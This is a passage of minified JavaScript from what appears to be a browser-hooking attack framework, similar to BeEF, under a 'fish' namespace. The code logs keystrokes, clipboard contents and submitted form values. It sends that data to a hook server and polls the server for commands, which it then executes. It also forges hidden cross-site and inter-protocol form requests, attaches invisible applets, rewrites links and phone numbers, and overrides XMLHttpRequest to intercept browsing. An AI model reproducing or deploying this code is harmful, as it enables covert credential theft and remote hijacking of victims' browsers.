getDefaultBrowser: "+n.message)}return e},isWin311:function(){return this.ua.match("(Win16)")?true:false},isWinNT4:function(){return this.ua.match("(Windows NT 4.0)")?true:false},isWin95:function(){return this.ua.match("(Windows 95)|(Win95)|(Windows_95)")?true:false},isWinCE:function(){return this.ua.match("(Windows CE)")?true:false},isWin98:function(){return this.ua.match("(Windows 98)|(Win98)")?true:false},isWinME:function(){return this.ua.match("(Windows ME)|(Win 9x 4.90)")?true:false},isWin2000:function(){return this.ua.match("(Windows NT 5.0)|(Windows 2000)")?true:false},isWin2000SP1:function(){return this.ua.match("Windows NT 5.01 ")?true:false},isWinXP:function(){return this.ua.match("(Windows NT 5.1)|(Windows XP)")?true:false},isWinServer2003:function(){return this.ua.match("(Windows NT 5.2)")?true:false},isWinVista:function(){return this.ua.match("(Windows NT 6.0)")?true:false},isWin7:function(){return this.ua.match("(Windows NT 6.1)|(Windows NT 7.0)")?true:false},isWin8:function(){return this.ua.match("(Windows NT 6.2)")?true:false},isWin81:function(){return this.ua.match("(Windows NT 6.3)")?true:false},isOpenBSD:function(){return this.ua.indexOf("OpenBSD")!=-1?true:false},isSunOS:function(){return this.ua.indexOf("SunOS")!=-1?true:false},isLinux:function(){return this.ua.match("(Linux)|(X11)")?true:false},isMacintosh:function(){return this.ua.match("(Mac_PowerPC)|(Macintosh)|(MacIntel)")?true:false},isWinPhone:function(){return this.ua.match("(Windows Phone)")?true:false},isIphone:function(){return this.ua.indexOf("iPhone")!=-1?true:false},isIpad:function(){return this.ua.indexOf("iPad")!=-1?true:false},isIpod:function(){return this.ua.indexOf("iPod")!=-1?true:false},isNokia:function(){return this.ua.match("(Maemo Browser)|(Symbian)|(Nokia)")?true:false},isAndroid:function(){return this.ua.match("Android")?true:false},isBlackBerry:function(){return this.ua.match("BlackBerry")?true:false},isWebOS:function(){return this.ua.match("webOS")?true:false},isQNX:function(){return this.ua.match("QNX")?true:false},isBeOS:function(){return this.ua.match("BeOS")?true:false},isWindows:function(){return this.isWin311()||this.isWinNT4()||this.isWinCE()||this.isWin95()||this.isWin98()||this.isWinME()||this.isWin2000()||this.isWin2000SP1()||this.isWinXP()||this.isWinServer2003()||this.isWinVista()||this.isWin7()||this.isWin8()||this.isWin81()||this.isWinPhone()},getName:function(){if(this.isWin311())return"Windows 3.11";if(this.isWinNT4())return"Windows NT 4";if(this.isWinCE())return"Windows CE";if(this.isWin95())return"Windows 95";if(this.isWin98())return"Windows 98";if(this.isWinME())return"Windows Millenium";if(this.isWin2000())return"Windows 2000";if(this.isWin2000SP1())return"Windows 2000 SP1";if(this.isWinXP())return"Windows XP";if(this.isWinServer2003())return"Windows Server 2003";if(this.isWinVista())return"Windows Vista";if(this.isWin7())return"Windows 7";if(this.isWin8())return"Windows 8";if(this.isWin81())return"Windows 8.1";if(this.isNokia()){if(this.ua.indexOf("Maemo Browser")!=-1)return"Maemo";if(this.ua.match("(SymbianOS)|(Symbian OS)"))return"SymbianOS";if(this.ua.indexOf("Symbian")!=-1)return"Symbian"}if(this.isBlackBerry())return"BlackBerry OS";if(this.isAndroid())return"Android";if(this.isLinux())return"Linux";if(this.isSunOS())return"Sun OS";if(this.isIphone())return"iOS";if(this.isIpad())return"iOS";if(this.isIpod())return"iOS";if(this.isMacintosh()){if(typeof navigator.oscpu!="undefined"&&navigator.oscpu.indexOf("Mac OS")!=-1)return navigator.oscpu;return"Macintosh"}if(this.isQNX())return"QNX";if(this.isBeOS())return"BeOS";if(this.isWebOS())return"webOS";return"unknown"}};fish.regCmp("fish.net.os");fish.hardware={ua:navigator.userAgent,cpuType:function(){if(typeof navigator.cpuClass!="undefined"){cpu=navigator.cpuClass;if(cpu=="x86")return"32-bit";if(cpu=="68K")return"Motorola 68K";if(cpu=="PPC")return"Motorola PPC";if(cpu=="Alpha")return"Digital";if(this.ua.match("Win64; IA64"))return"64-bit (Intel)";if(this.ua.match("Win64; x64"))return"64-bit (AMD)"}else if(typeof navigator.oscpu!="undefined"){if(navigator.oscpu.match("(WOW64|x64|x86_64)"))return"64-bit"}if(navigator.platform.toLowerCase()=="win64")return"64-bit";return"32-bit"},isTouchEnabled:function(){if("ontouchstart"in document)return true;return false},isVirtualMachine:function(){if(screen.width%2||screen.height%2)return true;return false},isLaptop:function(){if(screen.width==1366&&screen.height==768)return true;if(screen.width==1024&&screen.height==600)return true;return false},isNokia:function(){return this.ua.match("(Maemo Browser)|(Symbian)|(Nokia)")?true:false},isZune:function(){return this.ua.match("ZuneWP7")?true:false},isHtc:function(){return this.ua.match("HTC")?true:false},isEricsson:function(){return this.ua.match("Ericsson")?true:false},isMotorola:function(){return this.ua.match("Motorola")?true:false},isGoogle:function(){return this.ua.match("Nexus One")?true:false},isMobilePhone:function(){return DetectMobileQuick()},getName:function(){var e=navigator.userAgent.toLowerCase();if(DetectIphone()){return"iPhone"}if(DetectIpod()){return"iPod Touch"}if(DetectIpad()){return"iPad"}if(this.isHtc()){return"HTC"}if(this.isMotorola()){return"Motorola"}if(this.isZune()){return"Zune"}if(this.isGoogle()){return"Google Nexus One"}if(this.isEricsson()){return"Ericsson"}if(DetectAndroidPhone()){return"Android Phone"}if(DetectAndroidTablet()){return"Android Tablet"}if(DetectS60OssBrowser()){return"Nokia S60 Open Source"}if(e.search(deviceS60)>-1){return"Nokia S60"}if(e.search(deviceS70)>-1){return"Nokia S70"}if(e.search(deviceS80)>-1){return"Nokia S80"}if(e.search(deviceS90)>-1){return"Nokia S90"}if(e.search(deviceSymbian)>-1){return"Nokia Symbian"}if(this.isNokia()){return"Nokia"}if(DetectWindowsPhone7()){return"Windows Phone 7"}if(DetectWindowsMobile()){return"Windows Mobile"}if(DetectBlackBerryTablet()){return"BlackBerry Tablet"}if(DetectBlackBerryWebKit()){return"BlackBerry OS 6"}if(DetectBlackBerryTouch()){return"BlackBerry Touch"}if(DetectBlackBerryHigh()){return"BlackBerry OS 5"}if(DetectBlackBerry()){return"BlackBerry"}if(DetectPalmOS()){return"Palm OS"}if(DetectPalmWebOS()){return"Palm Web OS"}if(DetectGarminNuvifone()){return"Gamin Nuvifone"}if(DetectArchos()){return"Archos"}if(DetectBrewDevice()){return"Brew"}if(DetectDangerHiptop()){return"Danger Hiptop"}if(DetectMaemoTablet()){return"Maemo Tablet"}if(DetectSonyMylo()){return"Sony Mylo"}if(DetectAmazonSilk()){return"Kindle Fire"}if(DetectKindle()){return"Kindle"}if(DetectSonyPlaystation()){return"Playstation"}if(e.search(deviceNintendoDs)>-1){return"Nintendo DS"}if(e.search(deviceWii)>-1){return"Nintendo Wii"}if(e.search(deviceNintendo)>-1){return"Nintendo"}if(DetectXbox()){return"Xbox"}if(this.isLaptop()){return"Laptop"}if(this.isVirtualMachine()){return"Virtual Machine"}return"Unknown"}};fish.regCmp("fish.hardware");fish.dom={generateID:function(e){return(e==null?"fish-":e)+Math.floor(Math.random()*99999)},createElement:function(e,t){var n=document.createElement(e);for(index in t){if(typeof t[index]=="string"){n.setAttribute(index,t[index])}}return n},removeElement:function(e){if(!fish.dom.isDOMElement(e)){e=document.getElementById(e)}try{e.parentNode.removeChild(e)}catch(t){}},isDOMElement:function(e){return e.nodeType?true:false},createInvisibleIframe:function(){var e=this.createElement("iframe",{width:"1px",height:"1px",style:"visibility:hidden;"});document.body.appendChild(e);return e},getHighestZindex:function(e){var t={height:0,elem:""};$j("*").each(function(){var e=parseInt($j(this).css("zIndex"),10);if(e>t.height){t.height=e;t.elem=$j(this).attr("id")}});if(e){return t}else{return t.height}},createIframe:function(e,t,n,r){var i={};if(e=="hidden"){i=$j.extend(true,{border:"none",width:"1px",height:"1px",display:"none",visibility:"hidden"},n)}else if(e=="fullscreen"){i=$j.extend(true,{border:"none","background-color":"white",width:"100%",height:"100%",position:"absolute",top:"0px",left:"0px","z-index":fish.dom.getHighestZindex()+1},n);$j("body").css({padding:"0px",margin:"0px"})}else{i=n;$j("body").css({padding:"0px",margin:"0px"})}var s=$j("<iframe />").attr(t).css(i).load(r).prependTo("body");return s},persistentIframe:function(){$j("a").click(function(e){if($j(this).attr("href")!=""){e.preventDefault();fish.dom.createIframe("fullscreen","get",{src:$j(this).attr("href")},{},null);$j(document).attr("title",$j(this).html());document.body.scroll="no";document.documentElement.style.overflow="hidden"}})},grayOut:function(e,t){var t=t||{};var n=t.zindex||fish.dom.getHighestZindex()+1;var r=t.opacity||70;var i=r/100;var s=t.bgcolor||"#000000";var o=document.getElementById("darkenScreenObject");if(!o){var u=document.getElementsByTagName("body")[0];var a=document.createElement("div");a.style.position="absolute";a.style.top="0px";a.style.left="0px";a.style.overflow="hidden";a.style.display="none";a.id="darkenScreenObject";u.appendChild(a);o=document.getElementById("darkenScreenObject")}if(e){if(document.body&&(document.body.scrollWidth||document.body.scrollHeight)){var f=document.body.scrollWidth+"px";var l=document.body.scrollHeight+"px"}else if(document.body.offsetWidth){var f=document.body.offsetWidth+"px";var l=document.body.offsetHeight+"px"}else{var f="100%";var l="100%"}o.style.opacity=i;o.style.MozOpacity=i;o.style.filter="alpha(opacity="+r+")";o.style.zIndex=n;o.style.backgroundColor=s;o.style.width=f;o.style.height=l;o.style.display="block"}else{o.style.display="none"}},removeStylesheets:function(){$j("link[rel=stylesheet]").remove();$j("style").remove()},createForm:function(e,t){var n=$j("<form></form>").attr(e);if(t)$j("body").append(n);return n},getLocation:function(){return document.location.href},getLinks:function(){var e=[];var t=document.links;for(var n=0;n<t.length;n++){e=e.concat(t[n].href)}return e},rewriteLinks:function(e,t){var n=t==null?"a":t;return $j(n).each(function(){if($j(this).attr("href")!=null){$j(this).attr("href",e).click(function(){return true})}}).length},rewriteLinksClickEvents:function(e,t){var n=t==null?"a":t;return $j(n).each(function(){if($j(this).attr("href")!=null){$j(this).click(function(){this.href=e})}}).length},rewriteLinksProtocol:function(e,t,n){var r=0;var i=new RegExp(e+"://","gi");var s=n==null?"a":n;$j(s).each(function(){if($j(this).attr("href")!=null){var e=$j(this).attr("href");if(e.match(i)){$j(this).attr("href",e.replace(i,t+"://")).click(function(){return true});r++}}});return r},rewriteTelLinks:function(e,t){var n=0;var r=new RegExp("tel:/?/?.*","gi");var i=t==null?"a":t;$j(i).each(function(){if($j(this).attr("href")!=null){var t=$j(this).attr("href");if(t.match(r)){$j(this).attr("href",t.replace(r,"tel:"+e)).click(function(){return true});n++}}});return n},parseAppletParams:function(e){var t="";for(i in e){var n=e[i];for(key in n){t+="<param name='"+key+"' value='"+n[key]+"' />"}}return t},attachApplet:function(e,t,n,r,i,s){var o=null;if(fish.browser.isIE()){o=""+"<object id='"+e+"'classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' "+"height='0' width='0' name='"+t+"'> "+"<param name='code' value='"+n+"' />";if(r!=null){o+="<param name='codebase' value='"+r+"' />"}if(i!=null){o+="<param name='archive' value='"+i+"' />"}if(s!=null){o+=fish.dom.parseAppletParams(s)}o+="</object>"}if(fish.browser.isC()||fish.browser.isS()||fish.browser.isO()||fish.browser.isFF()){if(r!=null){o=""+"<applet id='"+e+"' code='"+n+"' "+"codebase='"+r+"' "+"height='0' width='0' name='"+t+"'>"}else{o=""+"<applet id='"+e+"' code='"+n+"' "+"archive='"+i+"' "+"height='0' width='0' name='"+t+"'>"}if(s!=null){o+=fish.dom.parseAppletParams(s)}o+="</applet>"}$j("body").append(o)},detachApplet:function(e){$j("#"+e+"").detach()},createIframeXsrfForm:function(e,t,n,r){var s=fish.dom.createInvisibleIframe();var o=document.createElement("form");o.setAttribute("action",e);o.setAttribute("method",t);o.setAttribute("enctype",n);var u=null;for(i in r){var a=r[i];u=document.createElement("input");for(key in a){u.setAttribute(key,a[key])}o.appendChild(u)}s.contentWindow.document.body.appendChild(o);o.submit();return s},createIframeIpecForm:function(e,t,n,r){var i=fish.dom.createInvisibleIframe();var s=document.createElement("form");s.setAttribute("action","http://"+e+":"+t+n);s.setAttribute("method","POST");s.setAttribute("enctype","multipart/form-data");input=document.createElement("textarea");input.setAttribute("name",Math.random().toString(36).substring(5));input.value=r;s.appendChild(input);i.contentWindow.document.body.appendChild(s);s.submit();return i}};fish.regCmp("fish.dom");fish.logger={running:false,id:0,events:[],stream:[],target:null,time:null,e:function(){this.id=fish.logger.get_id();this.time=fish.logger.get_timestamp();this.type=null;this.x=0;this.y=0;this.target=null;this.data=null;this.mods=null},start:function(){fish.browser.hookChildFrames();this.running=true;var e=new Date;this.time=e.getTime();$j(document).keypress(function(e){fish.logger.keypress(e)}).click(function(e){fish.logger.click(e)});$j(window).focus(function(e){fish.logger.win_focus(e)}).blur(function(e){fish.logger.win_blur(e)});$j("form").submit(function(e){fish.logger.submit(e)});document.body.oncopy=function(){setTimeout("fish.logger.copy();",10)};document.body.oncut=function(){setTimeout("fish.logger.cut();",10)};document.body.onpaste=function(){fish.logger.paste()}},stop:function(){this.running=false;clearInterval(this.timer);$j(document).keypress(null)},get_id:function(){this.id++;return this.id},click:function(e){var t=new fish.logger.e;t.type="click";t.x=e.pageX;t.y=e.pageY;t.target=fish.logger.get_dom_identifier(e.target);this.events.push(t)},win_focus:function(e){var t=new fish.logger.e;t.type="focus";this.events.push(t)},win_blur:function(e){var t=new fish.logger.e;t.type="blur";this.events.push(t)},keypress:function(e){if(this.target==null||$j(this.target).get(0)!==$j(e.target).get(0)){fish.logger.push_stream();this.target=e.target}this.stream.push({"char":e.which,modifiers:{alt:e.altKey,ctrl:e.ctrlKey,shift:e.shiftKey}})},copy:function(e){try{var t=new fish.logger.e;t.type="copy";t.data=clipboardData.getData("Text");this.events.push(t)}catch(n){}},cut:function(){try{var e=new fish.logger.e;e.type="cut";e.data=clipboardData.getData("Text");this.events.push(e)}catch(t){}},paste:function(){try{var e=new fish.logger.e;e.type="paste";e.data=clipboardData.getData("Text");this.events.push(e)}catch(t){}},submit:function(e){try{var t=new fish.logger.e;var n="";t.type="submit";t.target=fish.logger.get_dom_identifier(e.target);for(var r=0;r<e.target.elements.length;r++){n+="["+r+"] "+e.target.elements[r].name+"="+e.target.elements[r].value+"\n"}t.data="Action: "+$j(e.target).attr("action")+" - Method: "+$j(e.target).attr("method")+" - Values:\n"+n;this.events.push(t)}catch(e){}},push_stream:function(){if(this.stream.length>0){this.events.push(fish.logger.parse_stream());this.stream=[]}},get_dom_identifier:function(e){e=e==null?this.target:e;var t="";if(e){t=e.tagName.toLowerCase();t+=$j(e).attr("id")?"#"+$j(e).attr("id"):" ";t+=$j(e).attr("name")?"("+$j(e).attr("name")+")":""}return t},get_timestamp:function(){var e=new Date;return((e.getTime()-this.time)/1e3).toFixed(3)},parse_stream:function(){var e="";var t="";for(var n in this.stream){try{var r=this.stream[n]["modifiers"];e+=String.fromCharCode(this.stream[n]["char"]);if(typeof r!="undefined"&&(r["alt"]==true||r["ctrl"]==true||r["shift"]==true)){t+=r["alt"]?" [Alt] ":"";t+=r["ctrl"]?" [Ctrl] ":"";t+=r["shift"]?" [Shift] ":"";t+=String.fromCharCode(this.stream[n]["char"])}}catch(i){}}var s=new fish.logger.e;s.type="keys";s.target=fish.logger.get_dom_identifier();s.data=e;s.mods=t;return s},queue:function(){fish.logger.push_stream();if(this.events.length>0){fish.net.queue("/event",0,this.events);this.events=[]}}};fish.regCmp("fish.logger");fish.net={host:"127.0.0.1",port:"3000",hook:"/hook.js",httpproto:"http",handler:"/dh",chop:500,pad:30,sid_count:0,cmd_queue:[],command:function(){this.cid=null;this.results=null;this.handler=null;this.callback=null},packet:function(){this.id=null;this.data=null},stream:function(){this.id=null;this.packets=[];this.pc=0;this.get_base_url_length=function(){return(this.url+this.handler+"?"+"bh="+fish.session.get_hook_session_id()).length};this.get_packet_data=function(){var e=this.packets.shift();return{bh:fish.session.get_hook_session_id(),sid:this.id,pid:e.id,pc:this.pc,d:e.data}}},response:function(){this.status_code=null;this.status_text=null;this.response_body=null;this.port_status=null;this.was_cross_domain=null;this.was_timedout=null;this.duration=null;this.headers=null},queue:function(e,t,n,r){if(typeof e==="string"&&typeof t==="number"&&(r===undefined||typeof r==="function")){var i=new fish.net.command;i.cid=t;i.results=fish.net.clean(n);i.callback=r;i.handler=e;this.cmd_queue.push(i)}},send:function(e,t,n,r){if(typeof fish.websocket==="undefined"||e==="/init"&&t==0){this.queue(e,t,n,r);this.flush()}else{try{fish.websocket.send('{"handler" : "'+e+'", "cid" :"'+t+'", "result":"'+fish.encode.base64.encode(fish.encode.json.stringify(n))+'","callback": "'+r+'","bh":"'+fish.session.get_hook_session_id()+'" }')}catch(i){this.queue(e,t,n,r);this.flush()}}},flush:function(){if(this.cmd_queue.length>0){var e=fish.encode.base64.encode(fish.encode.json.stringify(this.cmd_queue));this.cmd_queue.length=0;this.sid_count++;var t=new this.stream;t.id=this.sid_count;var n=t.get_base_url_length()+this.pad;if(this.chop-n>0){var e=this.chunk(e,this.chop-n);for(var r=1;r<=e.length;r++){var i=new this.packet;i.id=r;i.data=e[r-1];t.packets.push(i)}t.pc=t.packets.length;this.push(t)}}},chunk:function(e,t){if(typeof t=="undefined")n=2;return e.match(RegExp(".{1,"+t+"}","g"))},push:function(e){for(var t=0;t<e.pc;t++){this.request(this.httpproto,"GET",this.host,this.port,this.handler,null,e.get_packet_data(),10,"text",null)}},request:function(e,t,n,r,i,s,o,u,a,f){var l=true;if(document.domain==n.replace(/(\r\n|\n|\r)/gm,"")){if(document.location.port==""||document.location.port==null){l=!(r=="80"||r=="443")}}var c="";if(i.indexOf("http://")!=-1||i.indexOf("https://")!=-1){c=i}else{c=e+"://"+n;c=r!=null?c+":"+r:c;c=i!=null?c+i:c;c=s!=null?c+"#"+s:c}var h=new this.response;h.was_cross_domain=l;var p=(new Date).getTime();if(t=="POST"){$j.ajaxSetup({dataType:a})}else{$j.ajaxSetup({dataType:"script"})}$j.ajax({type:t,url:c,data:o,timeout:u*1e3,beforeSend:function(e){if(t=="POST"){e.setRequestHeader("Content-type","application/x-www-form-urlencoded; charset=utf-8")}},success:function(e,t,n){var r=(new Date).getTime();h.status_code=n.status;h.status_text=t;h.response_body=e;h.port_status="open";h.was_timedout=false;h.duration=r-p},error:function(e,t,n){var r=(new Date).getTime();h.response_body=e.responseText;h.status_code=e.status;h.status_text=t;h.duration=r-p},complete:function(e,t){h.status_code=e.status;h.status_text=t;h.headers=e.getAllResponseHeaders();if(t=="timeout"){h.was_timedout=true;h.response_body="ERROR: Timed out\n";h.port_status="closed"}else if(t=="parsererror"){h.port_status="not-http"}else{h.port_status="open"}}}).done(function(){if(f!=null){f(h)}});return h},forge_request:function(e,t,n,r,i,s,o,u,a,f,l,c,h){var p=true;if(n=="undefined"||i=="undefined"){return}if(document.domain==n.replace(/(\r\n|\n|\r)/gm,"")){if(document.location.port==""||document.location.port==null){p=!(r=="80"||r=="443")}else{if(document.location.port==r)p=false}}var d="";if(i.indexOf("http://")!=-1||i.indexOf("https://")!=-1){d=i}else{d=e+"://"+n;d=r!=null?d+":"+r:d;d=i!=null?d+i:d;d=s!=null?d+"#"+s:d}var v=new this.response;v.was_cross_domain=p;var m=(new Date).getTime();if(l=="false"&&p&&h!=null){v.status_code=-1;v.status_text="crossdomain";v.port_status="crossdomain";v.response_body="ERROR: Cross Domain Request. The request was not sent.\n";v.headers="ERROR: Cross Domain Request. The request was not sent.\n";h(v,c);return v}if(t=="POST"){$j.ajaxSetup({dataType:f})}else{$j.ajaxSetup({dataType:"script"})}if(fish.browser.isIE()){f="script"}$j.ajax({type:t,dataType:f,url:d,headers:o,timeout:a*1e3,beforeSend:function(e){if(t=="POST"){e.setRequestHeader("Content-type","application/x-www-form-urlencoded; charset=utf-8")}},success:function(e,t,n){var r=(new Date).getTime();v.status_code=n.status;v.status_text=t;v.response_body=e;v.was_timedout=false;v.duration=r-m},error:function(e,t,n){var r=(new Date).getTime();v.response_body=e.responseText;v.status_code=e.status;v.status_text=t;v.duration=r-m},complete:function(e,t){if(p){v.port_status="crossdomain";if(e.status!=0){v.status_code=e.status}else{v.status_code=-1}if(t){v.status_text=t}else{v.status_text="crossdomain"}if(e.getAllResponseHeaders()){v.headers=e.getAllResponseHeaders()}else{v.headers="ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n"}if(!v.response_body){v.response_body="ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n"}}else{v.status_code=e.status;v.status_text=t;v.headers=e.getAllResponseHeaders();if(t=="timeout"){v.was_timedout=true;v.response_body="ERROR: Timed out\n";v.port_status="closed"}else if(t=="parsererror"){v.port_status="not-http";if(fish.browser.isIE()){v.status_text="success";v.port_status="open"}}else{v.port_status="open"}}h(v,c)}});return v},clean:function(e){if(this.array_has_string_key(e)){var t={};for(var n in e)t[n]=this.array_has_string_key(t[n])?this.clean(e[n]):e[n];return t}return e},array_has_string_key:function(e){if($j.isArray(e)){try{for(var t in e)if(isNaN(parseInt(t)))return true}catch(n){}}return false},browser_details:function(){var e=fish.browser.getDetails();e["HookSessionID"]=fish.session.get_hook_session_id();this.send("/init",0,e)}};fish.regCmp("fish.net");fish.updater={xhr_poll_timeout:"5000",fishhook:"fishHOOK",lock:false,objects:new Object,regObject:function(e,t){this.objects[e]=escape(t)},check:function(){if(this.lock==false){if(fish.logger.running){fish.logger.queue()}fish.net.flush();if(fish.commands.length>0){this.execute_commands()}else{this.get_commands()}}setTimeout(function(){fish.updater.check()},fish.updater.xhr_poll_timeout)},get_commands:function(){try{this.lock=true;fish.net.request(fish.net.httpproto,"GET",fish.net.host,fish.net.port,fish.net.hook,null,fish.updater.fishhook+"="+fish.session.get_hook_session_id(),5,"script",function(e){if(e.body!=null&&e.body.length>0)fish.updater.execute_commands()})}catch(e){this.lock=false;return}this.lock=false},execute_commands:function(){if(fish.commands.length==0)return;this.lock=true;while(fish.commands.length>0){command=fish.commands.pop();try{command()}catch(e){fish.debug("execute_commands - command failed to execute: "+e.message);fish.debug(command.toString())}}this.lock=false}};fish.regCmp("fish.updater");fish.encode={};fish.encode.base64={keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",encode:function(e){if(window.btoa){return btoa(unescape(encodeURIComponent(e)))}var t="";var n,r,i,s,o,u,a;var f=0;e=fish.encode.base64.utf8_encode(e);while(f<e.length){n=e.charCodeAt(f++);r=e.charCodeAt(f++);i=e.charCodeAt(f++);s=n>>2;o=(n&3)<<4|r>>4;u=(r&15)<<2|i>>6;a=i&63;if(isNaN(r)){u=a=64}else if(isNaN(i)){a=64}t=t+this.keyStr.charAt(s)+this.keyStr.charAt(o)+this.keyStr.charAt(u)+this.keyStr.charAt(a)}return t},decode:function(e){if(window.atob){return escape(atob(e))}var t="";var n,r,i;var s,o,u,a;var f=0;e=e.replace(/[^A-Za-z0-9\+\/\=]/g,"");while(f<e.length){s=this.keyStr.indexOf(e.charAt(f++));o=this.keyStr.indexOf(e.charAt(f++));u=this.keyStr.indexOf(e.charAt(f++));a=this.keyStr.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r)}if(a!=64){t=t+String.fromCharCode(i)}}t=fish.encode.base64.utf8_decode(t);return t},utf8_encode:function(e){e=e.replace(/\r\n/g,"\n");var t="";for(var n=0;n<e.length;n++){var r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r)}else if(r>127&&r<2048){t+=String.fromCharCode(r>>6|192);t+=String.fromCharCode(r&63|128)}else{t+=String.fromCharCode(r>>12|224);t+=String.fromCharCode(r>>6&63|128);t+=String.fromCharCode(r&63|128)}}return t},utf8_decode:function(e){var t="";var n=0;var r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3}}return t}};fish.regCmp("fish.encode.base64");fish.encode.json={stringify:function(e){if(typeof JSON=="object"&&JSON.stringify){try{s=JSON.stringify(e)}catch(t){}return s}var n=typeof e;if(e===null)return"null";if(n=="undefined")return'""';if(n=="number"||n=="boolean")return e+"";if(n=="string")return $j.quoteString(e);if(n=="object"){if(typeof e.toJSON=="function")return $j.toJSON(e.toJSON());if(e.constructor===Date){var r=e.getUTCMonth()+1;if(r<10)r="0"+r;var i=e.getUTCDate();if(i<10)i="0"+i;var o=e.getUTCFullYear();var u=e.getUTCHours();if(u<10)u="0"+u;var a=e.getUTCMinutes();if(a<10)a="0"+a;var f=e.getUTCSeconds();if(f<10)f="0"+f;var l=e.getUTCMilliseconds();if(l<100)l="0"+l;if(l<10)l="0"+l;return'"'+o+"-"+r+"-"+i+"T"+u+":"+a+":"+f+"."+l+'Z"'}if(e.constructor===Array){var c=[];for(var h=0;h<e.length;h++)c.push($j.toJSON(e[h])||"null");return"["+c.join(",")+"]"}var p=[];for(var d in e){var v;var n=typeof d;if(n=="number")v='"'+d+'"';else if(n=="string")v=$j.quoteString(d);else continue;if(typeof e[d]=="function")continue;var m=$j.toJSON(e[d]);p.push(v+":"+m)}return"{"+p.join(", ")+"}"}},quoteString:function(e){if(e.match(this._escapeable)){return'"'+e.replace(this._escapeable,function(e){var t=this._meta[e];if(typeof t==="string")return t;t=e.charCodeAt();return"\\u00"+Math.floor(t/16).toString(16)+(t%16).toString(16)})+'"'}return'"'+e+'"'},_escapeable:/["\\\x00-\x1f\x7f-\x9f]/g,_meta:{"\b":"\\b"," ":"\\t","\n":"\\n","\f":"\\f","\r":"\\r",'"':'\\"',"\\":"\\\\"}};$j.toJSON=function(e){return fish.encode.json.stringify(e)};$j.quoteString=function(e){return fish.encode.json.quoteString(e)};fish.regCmp("fish.encode.json");fish.net.local={sock:false,checkJava:false,hasJava:false,initializeSocket:function(){if(this.checkJava){if(!fish.browser.hasJava()){this.checkJava=True;this.hasJava=False;return-1}else{this.checkJava=True;this.hasJava=True;return 1}}else{if(!this.hasJava)return-1;else{try{this.sock=new java.net.Socket}catch(e){return-1}return 1}}},getLocalAddress:function(){if(!this.hasJava)return false;this.initializeSocket();try{this.sock.bind(new java.net.InetSocketAddress("0.0.0.0",0));this.sock.connect(new java.net.InetSocketAddress(document.domain,!document.location.port?80:document.location.port));return this.sock.getLocalAddress().getHostAddress()}catch(e){return false}},getLocalHostname:function(){if(!this.hasJava)return false;this.initializeSocket();try{this.sock.bind(new java.net.InetSocketAddress("0.0.0.0",0));this.sock.connect(new java.net.InetSocketAddress(document.domain,!document.location.port?80:document.location.port));return this.sock.getLocalAddress().getHostName()}catch(e){return false}}};fish.regCmp("fish.net.local");fish.session.get_hook_session_id();if(fish.pageIsLoaded){fish.net.browser_details()}window.onload=function(){fish_init()};window.onpopstate=function(e){if(fish.onpopstate.length>0){e.preventDefault;for(var t=0;t<fish.onpopstate.length;t++){var n=fish.onpopstate[t];try{n(e)}catch(r){fish.debug("window.onpopstate - couldn't execute callback: "+r.message)}return false}}};window.onclose=function(e){if(fish.onclose.length>0){e.preventDefault;for(var t=0;t<fish.onclose.length;t++){var n=fish.onclose[t];try{n(e)}catch(r){fish.debug("window.onclose - couldn't execute callback: "+r.message)}return false}}};fish.mitb={cid:null,curl:null,init:function(e,t){fish.mitb.cid=e;fish.mitb.curl=t;var n="/hook.js";if(window.XMLHttpRequest&&!window.ActiveXObject){fish.mitb.sniff("Method XMLHttpRequest.open override");(function(e){XMLHttpRequest.prototype.open=function(t,r,i,s){if(s||r.indexOf(n)!=-1||r.indexOf("/dh?")!=-1){e.call(this,t,r,i,true)}else{var o=new RegExp(":[0-9]+");var u=o.exec(r);var a;if(u!=null){a=u[0].split(":")[1]}if(t=="GET"){if(r.indexOf(document.location.hostname)==-1||u!=null&&a!=document.location.port){fish.mitb.sniff("GET [Ajax CrossDomain Request]: "+r);window.open(r)}else{fish.mitb.sniff("GET [Ajax Request]: "+r);if(fish.mitb.fetch(r,document.getElementsByTagName("html")[0])){var f="";if(document.getElementsByTagName("title").length==0){f=document.title}else{f=document.getElementsByTagName("title")[0].innerHTML}history.pushState({Be:"EF"},f,r)}}}else{fish.mitb.sniff("POST ajax request to: "+r);e.call(this,t,r,i,true)}}}})(XMLHttpRequest.prototype.open)}},hook:function(){fish.onpopstate.push(function(e){fish.mitb.fetch(document.location,document.getElementsByTagName("html")[0])});fish.onclose.push(function(e){fish.mitb.endSession()});var e=document.getElementsByTagName("a");var t=document.getElementsByTagName("form");var n=document.getElementsByTagName("li");for(var r=0;r<e.length;r++){e[r].onclick=fish.mitb.poisonAnchor}for(var r=0;r<t.length;r++){fish.mitb.poisonForm(t[r])}for(var r=0;r<n.length;r++){if(n[r].hasAttribute("onclick")){n[r].removeAttribute("onclick");n[r].setAttribute("onclick","fish.mitb.fetchOnclick('"+n[r].getElementsByTagName("a")[0]+"')")}}},poisonAnchor:function(e){try{e.preventDefault;if(fish.mitb.fetch(e.currentTarget,document.getElementsByTagName("html")[0])){var t="";if(document.getElementsByTagName("title").length==0){t=document.title}else{t=document.getElementsByTagName("title")[0].innerHTML}history.pushState({Be:"EF"},t,e.currentTarget)}}catch(e){fish.debug("fish.mitb.poisonAnchor - failed to execute: "+e.message)}return false},poisonForm:function(e){e.onsubmit=function(t){var n=e.getElementsByTagName("input");var r="";for(var i=0;i<n.length;i++){if(i>0&&i<n.length-1)r+="&";switch(n[i].type){case"submit":break;default:r+=n[i].name+"="+n[i].value;break}}t.preventdefault;fish.mitb.fetchForm(e.action,r,document.getElementsByTagName("html")[0]);history.pushState({Be:"EF"},"",e.action);return false}},fetchForm:function(e,t,n){try{var r=new 